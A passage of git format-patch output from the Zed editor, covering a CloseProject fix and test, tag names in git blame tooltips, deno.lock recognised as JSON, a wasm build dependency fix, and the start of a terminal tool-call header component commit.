-                                    let editor = cx.new(|cx| {
-                                        Editor::for_buffer(buffer, Some(project), window, cx)
-                                    });
-                                    workspace.add_item_to_active_pane(
-                                        Box::new(editor),
-                                        None,
-                                        true,
-                                        window,
-                                        cx,
-                                    );
-                                },
-                            )
-                        })?;
-                        task.await?;
-                        window_handle.update(cx, |mw, window, cx| {
-                            mw.remove_project_group(&old_group_key, window, cx)
-                        })?.await.log_err();
-                        Ok::<(), anyhow::Error>(())
-                    } else {
-                        Ok(())
-                    }
+                cx.spawn_in(window, async move |_, cx| {
+                    let task = window_handle.update(cx, |multi_workspace, window, cx| {
+                        multi_workspace.remove_project_group(&old_group_key, window, cx)
+                    })?;
+                    task.await?;
+                    anyhow::Ok(())
                 })
                 .detach_and_log_err(cx);
             }
@@ -7092,4 +7050,92 @@ mod tests {
             "project group should be removed after CloseProject: {keys:?}"
         );
     }
+
+    #[gpui::test]
+    async fn test_close_project_switches_to_neighbor_in_multi_project(cx: &mut TestAppContext) {
+        use workspace::OpenMode;
+
+        let app_state = init_test(cx);
+        app_state
+            .fs
+            .as_fake()
+            .insert_tree(path!("/project-a"), json!({}))
+            .await;
+        app_state
+            .fs
+            .as_fake()
+            .insert_tree(path!("/project-b"), json!({}))
+            .await;
+
+        let workspace::OpenResult {
+            window,
+            workspace: workspace_a,
+            ..
+        } = cx
+            .update(|cx| {
+                workspace::Workspace::new_local(
+                    vec![path!("/project-a").into()],
+                    app_state.clone(),
+                    None,
+                    None,
+                    None,
+                    OpenMode::Activate,
+                    cx,
+                )
+            })
+            .await
+            .unwrap();
+
+        let project_b = Project::test(app_state.fs.clone(), [Path::new("/project-b")], cx).await;
+
+        window
+            .update(cx, |multi_workspace, window, cx| {
+                multi_workspace.test_add_workspace(project_b, window, cx);
+            })
+            .unwrap();
+        cx.background_executor.run_until_parked();
+
+        // Reactivate workspace A so we close it via CloseProject.
+        window
+            .update(cx, |multi_workspace, window, cx| {
+                multi_workspace.activate(workspace_a, None, window, cx);
+            })
+            .unwrap();
+        cx.background_executor.run_until_parked();
+
+        let keys_before = window
+            .read_with(cx, |multi_workspace, _| {
+                multi_workspace.project_group_keys()
+            })
+            .unwrap();
+        assert_eq!(
+            keys_before.len(),
+            2,
+            "should have 2 project groups before CloseProject: {keys_before:?}"
+        );
+
+        cx.dispatch_action(window.into(), CloseProject);
+        cx.background_executor.run_until_parked();
+
+        let keys_after = window
+            .read_with(cx, |multi_workspace, _| {
+                multi_workspace.project_group_keys()
+            })
+            .unwrap();
+        assert_eq!(
+            keys_after.len(),
+            1,
+            "one project group should remain after CloseProject: {keys_after:?}"
+        );
+
+        let active_paths = window
+            .read_with(cx, |multi_workspace, cx| {
+                multi_workspace.workspace().read(cx).root_paths(cx)
+            })
+            .unwrap();
+        assert!(
+            !active_paths.is_empty(),
+            "active workspace should contain the remaining project, not be empty: {active_paths:?}"
+        );
+    }
 }

From 97110fd5a119eb5fad49524dc04d7c042193e8ab Mon Sep 17 00:00:00 2001
From: Ruslan Semagin <pixel.365.24@gmail.com>
Date: Tue, 14 Jul 2026 04:21:38 +0300
Subject: [PATCH 434/772] Show tag names in git blame tooltips (#60757)

Fetch tag names for commits included in blame data and pass them through
the blame rendering path. Render tag names as chips in the blame hover
tooltip and expanded blame popover. Tag lookup is best-effort, so blame
still renders if tag lookup fails.

> Note: Tag names are currently only fetched for local repositories. For
remote projects (SSH) and collab sessions, blame data travels over the
`BlameBufferResponse` proto message, which doesn't carry tag names yet.

  ## Testing

- `cargo test -p git
test_parse_tag_names_for_lightweight_and_annotated_tags`
  - `cargo check -p git_ui`
  - `cargo check -p editor`
  - `cargo check -p project`

  Manual testing:
  - Opened `git: blame` on a file with a tagged commit.
- Verified tag chips are shown in the blame hover tooltip and expanded
popover.

  ## Self-Review Checklist:

  - [x] I've reviewed my own diff for quality, security, and reliability
  - [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and [icon]

(https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
  - [x] Tests cover the new/changed behavior
  - [x] Performance impact has been considered and is acceptable

  ## Showcase

Before:
<img width="1655" height="660" alt="before"
src="https://github.com/user-attachments/assets/dbefd729-f8df-48a9-8249-83c93518fe76"
/>

After:
<img width="1655" height="660" alt="after"
src="https://github.com/user-attachments/assets/2c1097de-b268-45d9-9d13-0f3e06058603"
/>

---

Release Notes:

- Git: Made tags visible in Git blame tooltips.

---------

Co-authored-by: Danilo Leal <daniloleal09@gmail.com>
---
 .../collab/tests/integration/editor_tests.rs  |  1 +
 crates/editor/src/element.rs                  |  4 +
 crates/editor/src/git/blame.rs                | 42 +++++++++-
 crates/git/src/blame.rs                       | 27 +++++--
 crates/git/src/commit.rs                      | 81 ++++++++++++++++++-
 crates/git_ui/src/blame_ui.rs                 |  9 ++-
 crates/git_ui/src/commit_tooltip.rs           | 54 ++++++++++++-
 crates/git_ui/src/git_graph.rs                |  7 ++
 crates/git_ui/src/git_panel.rs                |  1 +
 crates/project/src/git_store.rs               |  6 +-
 10 files changed, 217 insertions(+), 15 deletions(-)

diff --git a/crates/collab/tests/integration/editor_tests.rs b/crates/collab/tests/integration/editor_tests.rs
index 28f9cd15758226..bb20e88d6b2783 100644
--- a/crates/collab/tests/integration/editor_tests.rs
+++ b/crates/collab/tests/integration/editor_tests.rs
@@ -4214,6 +4214,7 @@ async fn test_git_blame_is_forwarded(cx_a: &mut TestAppContext, cx_b: &mut TestA
         .into_iter()
         .map(|(sha, message)| (sha.parse().unwrap(), message.into()))
         .collect(),
+        tag_names: Default::default(),
     };
     client_a.fs().set_blame_for_repo(
         Path::new(path!("/my-repo/.git")),
diff --git a/crates/editor/src/element.rs b/crates/editor/src/element.rs
index 83e8f702b4a180..d5ca045a5dfdee 100644
--- a/crates/editor/src/element.rs
+++ b/crates/editor/src/element.rs
@@ -6950,10 +6950,12 @@ fn render_blame_entry_popover(
     let renderer = cx.global::<GlobalBlameRenderer>().0.clone();
     let blame = blame.read(cx);
     let repository = blame.repository(cx, buffer)?;
+    let tag_names = blame.tag_names_for_entry(buffer, &blame_entry);
     renderer.render_blame_entry_popover(
         blame_entry,
         scroll_handle,
         commit_message,
+        tag_names,
         markdown,
         repository,
         workspace,
@@ -6990,11 +6992,13 @@ fn render_blame_entry(
 
     let blame = blame.read(cx);
     let details = blame.details_for_entry(buffer, &blame_entry);
+    let tag_names = blame.tag_names_for_entry(buffer, &blame_entry);
     let repository = blame.repository(cx, buffer)?;
     renderer.render_blame_entry(
         &style.text,
         blame_entry,
         details,
+        tag_names,
         repository,
         workspace.downgrade(),
         editor,
diff --git a/crates/editor/src/git/blame.rs b/crates/editor/src/git/blame.rs
index e96a1087bd5fa5..6423182d504c4c 100644
--- a/crates/editor/src/git/blame.rs
+++ b/crates/editor/src/git/blame.rs
@@ -8,8 +8,8 @@ use git::{
     commit::ParsedCommitMessage,
 };
 use gpui::{
-    AnyElement, App, AppContext as _, Context, Entity, Hsla, ScrollHandle, Subscription, Task,
-    TextStyle, WeakEntity, Window,
+    AnyElement, App, AppContext as _, Context, Entity, Hsla, ScrollHandle, SharedString,
+    Subscription, Task, TextStyle, WeakEntity, Window,
 };
 use itertools::Itertools;
 use language::{Bias, BufferSnapshot, Edit};
@@ -69,6 +69,7 @@ struct GitBlameBuffer {
     buffer_snapshot: BufferSnapshot,
     buffer_edits: text::Subscription<usize>,
     commit_details: HashMap<Oid, ParsedCommitMessage>,
+    commit_tag_names: HashMap<Oid, Vec<SharedString>>,
 }
 
 pub struct GitBlame {
@@ -91,6 +92,7 @@ pub trait BlameRenderer {
         _: &TextStyle,
         _: BlameEntry,
         _: Option<ParsedCommitMessage>,
+        _: Vec<SharedString>,
         _: Entity<Repository>,
         _: WeakEntity<Workspace>,
         _: Entity<Editor>,
@@ -112,6 +114,7 @@ pub trait BlameRenderer {
         _: BlameEntry,
         _: ScrollHandle,
         _: Option<ParsedCommitMessage>,
+        _: Vec<SharedString>,
         _: Entity<Markdown>,
         _: Entity<Repository>,
         _: WeakEntity<Workspace>,
@@ -139,6 +142,7 @@ impl BlameRenderer for () {
         _: &TextStyle,
         _: BlameEntry,
         _: Option<ParsedCommitMessage>,
+        _: Vec<SharedString>,
         _: Entity<Repository>,
         _: WeakEntity<Workspace>,
         _: Entity<Editor>,
@@ -164,6 +168,7 @@ impl BlameRenderer for () {
         _: BlameEntry,
         _: ScrollHandle,
         _: Option<ParsedCommitMessage>,
+        _: Vec<SharedString>,
         _: Entity<Markdown>,
         _: Entity<Repository>,
         _: WeakEntity<Workspace>,
@@ -289,6 +294,14 @@ impl GitBlame {
             .cloned()
     }
 
+    pub fn tag_names_for_entry(&self, buffer: BufferId, entry: &BlameEntry) -> Vec<SharedString> {
+        self.buffers
+            .get(&buffer)
+            .and_then(|buffer| buffer.commit_tag_names.get(&entry.sha))
+            .cloned()
+            .unwrap_or_default()
+    }
+
     pub fn blame_for_rows<'a>(
         &'a mut self,
         rows: &'a [RowInfo],
@@ -557,7 +570,11 @@ impl GitBlame {
                             let mut errors = vec![];
                             for (id, snapshot, buffer_edits, blame, remote_url) in blame {
                                 match blame {
-                                    Ok(Some(Blame { entries, messages })) => {
+                                    Ok(Some(Blame {
+                                        entries,
+                                        messages,
+                                        tag_names,
+                                    })) => {
                                         let entries = build_blame_entry_sum_tree(
                                             entries,
                                             snapshot.max_point().row,
@@ -575,12 +592,25 @@ impl GitBlame {
                                                 (oid, parsed_commit_message)
                                             })
                                             .collect();
+                                        let commit_tag_names = tag_names
+                                            .into_iter()
+                                            .map(|(oid, tag_names)| {
+                                                (
+                                                    oid,
+                                                    tag_names
+                                                        .into_iter()
+                                                        .map(SharedString::from)
+                                                        .collect(),
+                                                )
+                                            })
+                                            .collect();
                                         res.push((
                                             id,
                                             snapshot,
                                             buffer_edits,
                                             Some(entries),
                                             commit_details,
+                                            commit_tag_names,
                                         ));
                                     }
                                     Ok(None) => res.push((
@@ -589,6 +619,7 @@ impl GitBlame {
                                         buffer_edits,
                                         None,
                                         Default::default(),
+                                        Default::default(),
                                     )),
                                     Err(e) => errors.push(e),
                                 }
@@ -603,7 +634,9 @@ impl GitBlame {
 
             this.update(cx, |this, cx| {
                 this.buffers.clear();
-                for (id, snapshot, buffer_edits, entries, commit_details) in all_results {
+                for (id, snapshot, buffer_edits, entries, commit_details, commit_tag_names) in
+                    all_results
+                {
                     let Some(entries) = entries else {
                         continue;
                     };
@@ -614,6 +647,7 @@ impl GitBlame {
                             buffer_snapshot: snapshot,
                             entries,
                             commit_details,
+                            commit_tag_names,
                         },
                     );
                 }
diff --git a/crates/git/src/blame.rs b/crates/git/src/blame.rs
index dd905f521fe9b7..6036e112e43704 100644
--- a/crates/git/src/blame.rs
+++ b/crates/git/src/blame.rs
@@ -1,9 +1,9 @@
 use crate::Oid;
-use crate::commit::get_messages;
+use crate::commit::{get_messages, get_tag_names};
 use crate::repository::{GitBinary, RepoPath};
 use anyhow::{Context as _, Result};
 use collections::{HashMap, HashSet};
-use futures::{AsyncWriteExt, try_join};
+use futures::{AsyncWriteExt, TryFutureExt, try_join};
 use serde::{Deserialize, Serialize};
 use smol::io::{AsyncBufReadExt, AsyncReadExt, BufReader};
 use std::ops::Range;
@@ -17,6 +17,7 @@ use util::command::Stdio;
 pub struct Blame {
     pub entries: Vec<BlameEntry>,
     pub messages: HashMap<Oid, String>,
+    pub tag_names: HashMap<Oid, Vec<String>>,
 }
 
 impl Blame {
@@ -35,12 +36,26 @@ impl Blame {
         }
 
         let shas = unique_shas.into_iter().collect::<Vec<_>>();
-        let messages = get_messages(git, &shas)
-            .await
-            .context("failed to get commit messages")?;
+        let (messages, tag_names) = try_join!(
+            get_messages(git, &shas)
+                .map_err(|error| error.context("failed to get commit messages")),
+            async {
+                match get_tag_names(git, &shas).await {
+                    Ok(tag_names) => Ok(tag_names),
+                    Err(error) => {
+                        log::warn!("failed to get commit tag names: {error:#}");
+                        Ok(HashMap::default())
+                    }
+                }
+            },
+        )?;
 
         entries.sort_unstable_by_key(|entry| entry.range.start);
-        Ok(Self { entries, messages })
+        Ok(Self {
+            entries,
+            messages,
+            tag_names,
+        })
     }
 }
 
diff --git a/crates/git/src/commit.rs b/crates/git/src/commit.rs
index 62bf8b4a103add..e7f367fb22b752 100644
--- a/crates/git/src/commit.rs
+++ b/crates/git/src/commit.rs
@@ -3,9 +3,9 @@ use crate::{
     repository::GitBinary, status::StatusCode,
 };
 use anyhow::{Context as _, Result};
-use collections::HashMap;
+use collections::{HashMap, HashSet};
 use gpui::SharedString;
-use std::sync::Arc;
+use std::{str::FromStr, sync::Arc};
 
 #[derive(Clone, Debug, Default)]
 pub struct ParsedCommitMessage {
@@ -78,6 +78,60 @@ pub(crate) async fn get_messages(git: &GitBinary, shas: &[Oid]) -> Result<HashMa
         .collect::<HashMap<Oid, String>>())
 }
 
+pub(crate) async fn get_tag_names(
+    git: &GitBinary,
+    shas: &[Oid],
+) -> Result<HashMap<Oid, Vec<String>>> {
+    if shas.is_empty() {
+        return Ok(HashMap::default());
+    }
+
+    let output = git
+        .build_command(&[
+            "for-each-ref",
+            "refs/tags",
+            "--sort=-creatordate",
+            "--format=%(objectname)%00%(*objectname)%00%(refname:short)",
+        ])
+        .output()
+        .await
+        .context("starting git for-each-ref process")?;
+    anyhow::ensure!(
+        output.status.success(),
+        "'git for-each-ref' failed with error {:?}",
+        String::from_utf8_lossy(&output.stderr)
+    );
+
+    Ok(parse_tag_names(
+        &String::from_utf8_lossy(&output.stdout),
+        shas,
+    ))
+}
+
+fn parse_tag_names(output: &str, shas: &[Oid]) -> HashMap<Oid, Vec<String>> {
+    let shas = shas.iter().copied().collect::<HashSet<_>>();
+    let mut result = HashMap::<Oid, Vec<String>>::default();
+
+    for line in output.lines() {
+        let mut fields = line.split('\0');
+        let object_sha = fields.next();
+        let peeled_sha = fields.next().filter(|sha| !sha.is_empty());
+        let Some(sha) = peeled_sha
+            .or(object_sha)
+            .and_then(|sha| Oid::from_str(sha).ok())
+        else {
+            continue;
+        };
+        let Some(tag_name) = fields.next().filter(|tag_name| !tag_name.is_empty()) else {
+            continue;
+        };
+        result.entry(sha).or_default().push(tag_name.to_string());
+    }
+
+    result.retain(|sha, _| shas.contains(sha));
+    result
+}
+
 async fn get_messages_impl(git: &GitBinary, shas: &[Oid]) -> Result<Vec<String>> {
     const MARKER: &str = "<MARKER>";
     let output = git
@@ -246,4 +300,27 @@ mod tests {
             .expect_err("expected malformed metadata to fail");
         assert!(error.to_string().contains("new mode"));
     }
+
+    #[test]
+    fn test_parse_tag_names_for_lightweight_and_annotated_tags() -> Result<()> {
+        let tagged_commit = Oid::from_str("1111111111111111111111111111111111111111")?;
+        let tag_object = Oid::from_str("2222222222222222222222222222222222222222")?;
+        let other_commit = Oid::from_str("3333333333333333333333333333333333333333")?;
+        let output = format!(
+            "{tagged_commit}\0\0v1.0.0\n\
+             {tag_object}\0{tagged_commit}\0v1.1.0\n\
+             {other_commit}\0\0ignored\n"
+        );
+
+        let parsed = parse_tag_names(&output, &[tagged_commit]);
+
+        assert_eq!(
+            parsed,
+            HashMap::from_iter([(
+                tagged_commit,
+                vec![String::from("v1.0.0"), String::from("v1.1.0")]
+            )])
+        );
+        Ok(())
+    }
 }
diff --git a/crates/git_ui/src/blame_ui.rs b/crates/git_ui/src/blame_ui.rs
index 90d5948de5113c..ec1386e54dc12d 100644
--- a/crates/git_ui/src/blame_ui.rs
+++ b/crates/git_ui/src/blame_ui.rs
@@ -1,5 +1,5 @@
 use crate::{
-    commit_tooltip::{CommitAvatar, CommitTooltip},
+    commit_tooltip::{CommitAvatar, CommitTooltip, commit_tag_chips},
     commit_view::CommitView,
 };
 use editor::{BlameRenderer, Editor, hover_markdown_style};
@@ -131,6 +131,7 @@ impl BlameRenderer for GitBlameRenderer {
         style: &TextStyle,
         blame_entry: BlameEntry,
         details: Option<ParsedCommitMessage>,
+        tag_names: Vec<SharedString>,
         repository: Entity<Repository>,
         workspace: WeakEntity<Workspace>,
         editor: Entity<Editor>,
@@ -226,6 +227,7 @@ impl BlameRenderer for GitBlameRenderer {
                                     CommitTooltip::blame_entry(
                                         &blame_entry,
                                         details.clone(),
+                                        tag_names.clone(),
                                         repository.clone(),
                                         workspace.clone(),
                                         cx,
@@ -266,6 +268,7 @@ impl BlameRenderer for GitBlameRenderer {
         blame: BlameEntry,
         scroll_handle: ScrollHandle,
         details: Option<ParsedCommitMessage>,
+        tag_names: Vec<SharedString>,
         markdown: Entity<Markdown>,
         repository: Entity<Repository>,
         workspace: WeakEntity<Workspace>,
@@ -402,12 +405,16 @@ impl BlameRenderer for GitBlameRenderer {
                                     .w_full()
                                     .justify_between()
                                     .pt_1()
+                                    .gap_1()
+                                    .flex_wrap()
                                     .border_t_1()
                                     .border_color(cx.theme().colors().border_variant)
                                     .child(absolute_timestamp)
                                     .child(
                                         h_flex()
                                             .gap_1()
+                                            .min_w_0()
+                                            .children(commit_tag_chips(&tag_names))
                                             .when_some(pull_request, |this, pr| {
                                                 this.child(
                                                     Button::new(
diff --git a/crates/git_ui/src/commit_tooltip.rs b/crates/git_ui/src/commit_tooltip.rs
index 9d4c8966068234..2c0e81d0e36042 100644
--- a/crates/git_ui/src/commit_tooltip.rs
+++ b/crates/git_ui/src/commit_tooltip.rs
@@ -14,7 +14,7 @@ use settings::Settings;
 use std::hash::Hash;
 use theme_settings::ThemeSettings;
 use time::{OffsetDateTime, UtcOffset};
-use ui::{Avatar, CopyButton, Divider, prelude::*, tooltip_container};
+use ui::{Avatar, Chip, CopyButton, Divider, Tooltip, prelude::*, tooltip_container};
 use workspace::Workspace;
 
 #[derive(Clone, Debug)]
@@ -24,6 +24,51 @@ pub struct CommitDetails {
     pub author_email: SharedString,
     pub commit_time: OffsetDateTime,
     pub message: Option<ParsedCommitMessage>,
+    pub tag_names: Vec<SharedString>,
+}
+
+const MAX_COMMIT_TOOLTIP_TAG_CHIPS: usize = 2;
+
+pub(crate) fn commit_tag_chips(tag_names: &[SharedString]) -> Option<impl IntoElement> {
+    if tag_names.is_empty() {
+        return None;
+    }
+
+    let (visible_tags, hidden_tags) =
+        tag_names.split_at(tag_names.len().min(MAX_COMMIT_TOOLTIP_TAG_CHIPS));
+
+    Some(
+        h_flex().max_w(relative(0.6)).gap_1().child(
+            h_flex()
+                .gap_1()
+                .min_w_0()
+                .children(
+                    visible_tags
+                        .iter()
+                        .map(|tag_name| Chip::new(tag_name.clone()).truncate()),
+                )
+                .when(!hidden_tags.is_empty(), |this| {
+                    let hidden_tags = hidden_tags.to_vec();
+                    this.child(Chip::new(format!("+{}", hidden_tags.len())).tooltip(
+                        Tooltip::element(move |_window, cx| {
+                            v_flex()
+                                .gap_1()
+                                .children(itertools::Itertools::intersperse_with(
+                                    hidden_tags.iter().map(|tag_name| {
+                                        Label::new(tag_name.clone())
+                                            .size(LabelSize::Small)
+                                            .buffer_font(cx)
+                                            .into_any_element()
+                                    }),
+                                    || Divider::horizontal().into_any_element(),
+                                ))
+                                .into_any_element()
+                        }),
+                    ))
+                })
+                .child(Divider::vertical()),
+        ),
+    )
 }
 
 pub struct CommitAvatar<'a> {
@@ -172,6 +217,7 @@ impl CommitTooltip {
     pub fn blame_entry(
         blame: &BlameEntry,
         details: Option<ParsedCommitMessage>,
+        tag_names: Vec<SharedString>,
         repository: Entity<Repository>,
         workspace: WeakEntity<Workspace>,
         cx: &mut Context<Self>,
@@ -192,6 +238,7 @@ impl CommitTooltip {
                     .into(),
                 author_email: blame.author_mail.clone().unwrap_or("".to_string()).into(),
                 message: details,
+                tag_names,
             },
             repository,
             workspace,
@@ -270,6 +317,7 @@ impl Render for CommitTooltip {
             .message
             .as_ref()
             .and_then(|details| details.pull_request.clone());
+        let tag_names = self.commit.tag_names.clone();
 
         let ui_font_size = ThemeSettings::get_global(cx).ui_font_size(cx);
         let message_max_height = window.line_height() * 12 + (ui_font_size / 0.4);
@@ -336,12 +384,16 @@ impl Render for CommitTooltip {
                                 .w_full()
                                 .justify_between()
                                 .pt_1()
+                                .gap_1()
+                                .flex_wrap()
                                 .border_t_1()
                                 .border_color(cx.theme().colors().border_variant)
                                 .child(absolute_timestamp)
                                 .child(
                                     h_flex()
                                         .gap_1()
+                                        .min_w_0()
+                                        .children(commit_tag_chips(&tag_names))
                                         .when_some(pull_request, |this, pr| {
                                             this.child(
                                                 Button::new(
diff --git a/crates/git_ui/src/git_graph.rs b/crates/git_ui/src/git_graph.rs
index c28b76443166c9..343cf2abbdc778 100644
--- a/crates/git_ui/src/git_graph.rs
+++ b/crates/git_ui/src/git_graph.rs
@@ -1911,6 +1911,12 @@ impl GitGraph {
                                 let author_email = commit_data.author_email.clone();
                                 let message = commit_data.message.clone();
                                 let commit_timestamp = commit_data.commit_timestamp;
+                                let tag_names = commit
+                                    .data
+                                    .tag_names()
+                                    .into_iter()
+                                    .map(SharedString::from)
+                                    .collect::<Vec<_>>();
                                 let workspace = self.workspace.clone();
                                 let repository = repository.clone();
                                 this.hoverable_tooltip(move |_window, cx| {
@@ -1931,6 +1937,7 @@ impl GitGraph {
                                             remote_url.as_deref(),
                                             Some(provider_registry),
                                         )),
+                                        tag_names: tag_names.clone(),
                                     };
                                     cx.new(|cx| {
                                         CommitTooltip::new(
diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index b5b1a541b21c2b..53dbe3e74bc88e 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -8034,6 +8034,7 @@ impl GitPanelMessageTooltip {
                         remote_url.as_deref(),
                         provider_registry,
                     )),
+                    tag_names: Vec::new(),
                 };
 
                 this.update(cx, |this: &mut GitPanelMessageTooltip, cx| {
diff --git a/crates/project/src/git_store.rs b/crates/project/src/git_store.rs
index f2aa24d51a561c..8594904a17d5f8 100644
--- a/crates/project/src/git_store.rs
+++ b/crates/project/src/git_store.rs
@@ -9649,7 +9649,11 @@ fn deserialize_blame_buffer_response(
         .filter_map(|message| Some((git::Oid::from_bytes(&message.oid).ok()?, message.message)))
         .collect::<HashMap<_, _>>();
 
-    Some(Blame { entries, messages })
+    Some(Blame {
+        entries,
+        messages,
+        tag_names: Default::default(),
+    })
 }
 
 fn log_source_to_proto(log_source: &LogSource) -> proto::GitLogSource {

From 4780220eeb737136f561f7fd48ede1a04cd2c038 Mon Sep 17 00:00:00 2001
From: byteoxo <byteoxxo@gmail.com>
Date: Tue, 14 Jul 2026 16:42:25 +0800
Subject: [PATCH 435/772] Recognize deno.lock as JSON (#60679)

Reasons: Deno officially states that the deno.lock file is of JSON type.

https://github.com/denoland/vscode_deno/blob/main/schemas/lockfile.schema.json

Release Notes:

- Added JSON language support for `deno.lock` files.
---
 crates/grammars/src/json/config.toml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/crates/grammars/src/json/config.toml b/crates/grammars/src/json/config.toml
index 4b7f84d6f519e4..f3e228b55b7c93 100644
--- a/crates/grammars/src/json/config.toml
+++ b/crates/grammars/src/json/config.toml
@@ -1,6 +1,6 @@
 name = "JSON"
 grammar = "json"
-path_suffixes = ["json", "flake.lock", "geojson", "topojson", "prettierrc", "json.dist"]
+path_suffixes = ["json", "flake.lock", "geojson", "topojson", "prettierrc", "json.dist", "deno.lock"]
 line_comments = ["// "]
 autoclose_before = ",]}"
 brackets = [

From f7cf09b3676977f069638b5adce5b664981f276d Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Tue, 14 Jul 2026 10:59:10 +0200
Subject: [PATCH 436/772] language_model: Fix compilation on wasm (#60955)

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 Cargo.lock                           | 31 ++++++++++++++++------------
 Cargo.toml                           |  1 +
 crates/language_model/Cargo.toml     |  4 ++--
 crates/language_model/src/api_key.rs |  2 +-
 crates/language_model/src/request.rs |  2 +-
 crates/scheduler/Cargo.toml          |  2 +-
 6 files changed, 24 insertions(+), 18 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index f1a64ec5fe4c6b..6a8cfe5c989500 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -6507,6 +6507,9 @@ name = "fastrand"
 version = "2.3.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be"
+dependencies = [
+ "getrandom 0.2.16",
+]
 
 [[package]]
 name = "fax"
@@ -6729,7 +6732,18 @@ checksum = "da0e4dd2a88388a1f4ccc7c9ce104604dab68d9f408dc34cd45823d5a9069095"
 dependencies = [
  "futures-core",
  "futures-sink",
- "nanorand",
+ "spin 0.9.8",
+]
+
+[[package]]
+name = "flume"
+version = "0.12.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5e139bc46ca777eb5efaf62df0ab8cc5fd400866427e56c68b22e414e53bd3be"
+dependencies = [
+ "fastrand 2.3.0",
+ "futures-core",
+ "futures-sink",
  "spin 0.9.8",
 ]
 
@@ -9782,6 +9796,7 @@ dependencies = [
  "env_var",
  "futures 0.3.32",
  "gpui",
+ "gpui_util",
  "http_client",
  "icons",
  "image",
@@ -9791,7 +9806,6 @@ dependencies = [
  "serde",
  "serde_json",
  "thiserror 2.0.17",
- "util",
 ]
 
 [[package]]
@@ -11364,15 +11378,6 @@ dependencies = [
  "rand 0.8.6",
 ]
 
-[[package]]
-name = "nanorand"
-version = "0.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6a51313c5820b0b02bd422f4b44776fbf47961755c74ce64afc73bfad10226c3"
-dependencies = [
- "getrandom 0.2.16",
-]
-
 [[package]]
 name = "native-tls"
 version = "0.2.18"
@@ -16039,7 +16044,7 @@ dependencies = [
  "async-task",
  "backtrace",
  "chrono",
- "flume",
+ "flume 0.12.0",
  "futures 0.3.32",
  "parking_lot",
  "rand 0.9.4",
@@ -17522,7 +17527,7 @@ checksum = "c2d12fe70b2c1b4401038055f90f151b78208de1f9f89a7dbfd41587a10c3eea"
 dependencies = [
  "atoi",
  "chrono",
- "flume",
+ "flume 0.11.1",
  "futures-channel",
  "futures-core",
  "futures-executor",
diff --git a/Cargo.toml b/Cargo.toml
index 45086218b36c4a..26324298e42652 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -597,6 +597,7 @@ encoding_rs = "0.8"
 exec = "0.3.1"
 fancy-regex = "0.18.0"
 fork = "0.4.0"
+flume = "0.12"
 futures = "0.3.32"
 futures-concurrency = "7.7.1"
 futures-lite = "1.13"
diff --git a/crates/language_model/Cargo.toml b/crates/language_model/Cargo.toml
index d679588138ccec..2f0a6911f4e4a3 100644
--- a/crates/language_model/Cargo.toml
+++ b/crates/language_model/Cargo.toml
@@ -17,12 +17,13 @@ test-support = []
 
 [dependencies]
 anyhow.workspace = true
-credentials_provider.workspace = true
 base64.workspace = true
 collections.workspace = true
+credentials_provider.workspace = true
 env_var.workspace = true
 futures.workspace = true
 gpui.workspace = true
+gpui_util.workspace = true
 http_client.workspace = true
 icons.workspace = true
 image.workspace = true
@@ -32,7 +33,6 @@ parking_lot.workspace = true
 serde.workspace = true
 serde_json.workspace = true
 thiserror.workspace = true
-util.workspace = true
 
 [dev-dependencies]
 gpui = { workspace = true, features = ["test-support"] }
diff --git a/crates/language_model/src/api_key.rs b/crates/language_model/src/api_key.rs
index 4be5a64d3db623..e2645d37f0ddc7 100644
--- a/crates/language_model/src/api_key.rs
+++ b/crates/language_model/src/api_key.rs
@@ -3,11 +3,11 @@ use credentials_provider::CredentialsProvider;
 use env_var::EnvVar;
 use futures::{FutureExt, future};
 use gpui::{AsyncApp, Context, SharedString, Task};
+use gpui_util::ResultExt as _;
 use std::{
     fmt::{Display, Formatter},
     sync::Arc,
 };
-use util::ResultExt as _;
 
 use crate::AuthenticateError;
 
diff --git a/crates/language_model/src/request.rs b/crates/language_model/src/request.rs
index b4dedbbd7ba447..fdea3d7dc76ed4 100644
--- a/crates/language_model/src/request.rs
+++ b/crates/language_model/src/request.rs
@@ -6,9 +6,9 @@ use base64::{Engine as _, write::EncoderWriter};
 use gpui::{
     App, AppContext as _, DevicePixels, Image, ImageFormat, ObjectFit, Size, Task, point, px, size,
 };
+use gpui_util::ResultExt;
 use image::GenericImageView as _;
 use image::codecs::png::PngEncoder;
-use util::ResultExt;
 
 use language_model_core::{ImageSize, LanguageModelImage};
 
diff --git a/crates/scheduler/Cargo.toml b/crates/scheduler/Cargo.toml
index bc97b17b281275..98fe3b0197c074 100644
--- a/crates/scheduler/Cargo.toml
+++ b/crates/scheduler/Cargo.toml
@@ -19,7 +19,7 @@ test-support = []
 async-task.workspace = true
 backtrace.workspace = true
 chrono.workspace = true
-flume = "0.11"
+flume.workspace = true
 futures.workspace = true
 parking_lot.workspace = true
 rand.workspace = true

From 0f58431f51c52dd2742594d9f41233f270cd5aae Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Tue, 14 Jul 2026 07:07:33 -0300
Subject: [PATCH 437/772] thread_view: Add a component for the terminal's tool
 call header (#60931)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

This PR introduces a component for the terminal tool call's header. It
was growing already pretty big in the terminal tool call render function
in the thread view and hard to visualize in all of its use cases. I got
motivated to do this because I wanted to make the UI for the case when
it runs outside of the sandbox simpler, but it wasn't easy to make that
show up in a true agent thread, and with it being a component, I can
just use the component preview.

Here's a quick screenshot of it, it shouldn't look too different, just a
bit more polished:

<img width="600" alt="Screenshot 2026-07-13 at 6  43@2x"
